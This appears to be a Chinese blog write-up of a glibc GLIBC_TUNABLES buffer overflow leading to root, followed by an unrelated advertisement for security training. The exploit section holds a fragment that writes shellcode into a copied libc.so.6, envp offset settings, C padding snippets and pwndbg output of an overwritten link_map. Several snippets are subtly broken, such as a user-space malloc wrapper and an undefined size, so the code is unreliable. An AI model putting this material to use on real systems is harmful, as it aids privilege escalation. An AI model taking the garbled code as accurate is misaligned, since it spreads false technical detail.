漏洞版本
glibc 2.35-0ubuntu3 (aarch64)
glibc 2.36-9+deb12u2 (amd64)
漏洞利用
exp关键代码
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
exp代码思路
该漏洞发生在 GLIBC_TUNABLES 环境变量处理过程中,可能存在缓冲区溢出漏洞。
通过修改 GLIBC_TUNABLES 的值来替换 libc 的加载路径,从而加载自己修改过的恶意库。
找到一个合适的栈地址来覆盖原始的 libc 加载路径
使用 ASLR 关闭的方式来尝试利用该漏洞
调试
test.c
#include <stdio.h>
unsigned long ptr = -0x18ULL;
int main(int argc, char *argv[])
{
printf("test");
return 0;
}
环境变量
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void *__minimal_malloc(size_t size) {
return malloc(size);
}
int main() {
char fill[0xd00];
const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=";
strcpy(fill, prefix);
size_t prefixLength = strlen(prefix);
for (size_t i = prefixLength; i < sizeof(fill) - 1; i++) {
fill[i] = 'A';
}
fill[sizeof(fill) - 1] = '\0';
void *allocatedMemory = __minimal_malloc(0xd00 + 1);
free(allocatedMemory);
return 0;
}
RAX 0x7f4109f8f2e0 ?— 0x0
pwndbg> vmmap
0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'
如果在程序的后续部分,通过 malloc
或其他内存分配函数再次请求超过剩余内存大小(0x1f 字节)的内存,系统可能会选择使用 mmap
来映射一个新的内存区域,以满足这个较大的分配请求。
再次设置环境变量
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void* __minimal_malloc(size_t size) {
// 实现 __minimal_malloc 的代码,这里简单地使用标准库的 malloc 作为示例
return malloc(size);
}
int main() {
char *payload = (char*)__minimal_malloc(PAYLOAD_SIZE);
const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
strcpy(payload, prefix);
size_t prefixLength = strlen(prefix);
for (size_t i = prefixLength; i < PAYLOAD_SIZE - 1; i++) {
payload[i] = 'B';
}
payload[PAYLOAD_SIZE - 1] = '\0';
free(payload);
return 0;
}
*RAX 0x7f4109f52000 ?— 0x0 # malloc的返回值
pwndbg> vmmap
0x7f4109f52000 0x7f4109f54000 rw-p 2000 0 [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'
如此,当再次申请内存,调用__minimal_calloc
pwndbg> b *(_dl_new_object+109)
pwndbg> c
0x7f4908e899fd <_dl_new_object+109> call qword ptr [rip + 0x2c06d] <__minimal_calloc>
pwndbg> ni
*RAX 0x7f4908e74c40 ?— 0x0
查看结构
pwndbg> b *(_dl_new_object+115)
pwndbg> c
0x7ffaa8c249fd <_dl_new_object+109>: call QWORD PTR [rip+0x2c06d] # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
l_addr = 4774451407232463713,
l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
l_ld = 0x4242424242424242,
l_next = 0x4242424242424242,
l_prev = 0x4242424242424242,
l_real = 0x4242424242424242,
l_ns = 4774451407313060418,
l_libname = 0x4242424242424242,
l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},
成功覆盖struct link_map
link_map->l_info[DT_RPATH]
成员变量
定位到
elf/dl-load.c
文件
_dl_init_paths
函数
DT_RPATH
DT_RPATH
是 ELF(可执行和可共享对象)文件中的一项动态链接器标签(Dynamic Section Entry)。它用于指定运行时搜索共享库时应该查找的目录路径。这可以影响动态链接器在加载可执行文件时查找共享库的行为。
具体来说,DT_RPATH
包含一个以空字符(‘\0’)分隔的目录路径列表,告诉动态链接器在搜索共享库时应该优先查找这些目录。这个路径列表可以是绝对路径或相对路径。
在使用 DT_RPATH
时,有一些需要注意的事项:
DT_RPATH
的优先级: 如果同时存在DT_RPATH
和DT_RUNPATH
,动态链接器会优先使用DT_RUNPATH
。如果两者都不存在,动态链接器会使用系统默认的搜索路径。DT_RPATH
的格式: 路径列表以字符串数组的形式存储在动态链接器标签中,每个路径之间用空字符分隔,最后一个路径后面要跟一个额外的空字符作为终止符。- 相对路径的解析: 如果路径是相对路径,动态链接器会在执行程序的目录中查找。
- 动态修改: 在某些情况下,可以使用工具如
patchelf
来动态修改 ELF 文件的DT_RPATH
条目。
具体来说,这段代码的作用是将原始的 libc 库的加载路径修改为攻击者指定的路径,然后使用这个修改后的路径来加载恶意的库。攻击者可以通过修改** ** link_map->l_info[DT_RPATH] **
**来控制这个路径,从而实现命令执行的目的。
直接利用
测试一下
留有一部分区域置 0,到xb8
for (int i=2;i<ENVP_SIZE-1;i++)
envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
地址0x7fca03d3c2b3
大于0xb8
计算以下,需要让link_map = 0x7f94440ce3fb
得出
envp[0x25 + 0xb8] = "\x28\x40\x40";
此时的内存结构
堆
#include <string.h>
#define PADDING_SIZE 50 // 根据实际情况定义 PADDING_SIZE
#define ENVP_SIZE 10 // 根据实际情况定义 ENVP_SIZE
int main() {
char padding[PADDING_SIZE - 3];
const char *prefix = "GLIBC_TUNABLES=";
strcpy(padding, prefix);
size_t prefixLength = strlen(prefix);
for (size_t i = prefixLength; i < PADDING_SIZE - 4; i++) {
padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
char *envp[ENVP_SIZE];
envp[ENVP_SIZE - 2] = strdup(padding);
free(envp[ENVP_SIZE - 2]);
return 0;
}
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
退出 gdb,直接执行 exp
获取到 root 权限。
漏洞代码
根据NVD漏洞介绍,首先定位文件elf/dl-tunables.c
定位到函数parse_tunables
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p;
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1;
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr];
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++;
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':';
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++;
tunestr[off++] = '=';
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j];
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break;
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0')
p += len + 1;
}
}
调试查找调用该函数的函数
找到__tunables_init
函数
漏洞形成过程分析
存在一个名为 GLIBC_TUNABLES 的环境变量。
该环境变量的值使用 tunables_strdup 函数进行处理,类似于 strdup 函数,但是因为此时 libc 还没有初始化完成,所以使用的是 __minimal_malloc。
接下来调用 parse_tunables 函数来处理 GLIBC_TUNABLES 环境变量的值。
libc 中有一个名为 tunable_list 的表,可以通过 gdb 输出这个表的信息。
当 __libc_enable_secure 启用且安全等级不是 TUNABLE_SECLEVEL_SXID_ERASE 时,会对环境变量进行一些处理,而这个处理导致缓冲区溢出漏洞。
为了帮助大家更好的学习网络安全,参加护网行动,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以在下方扫码领取!!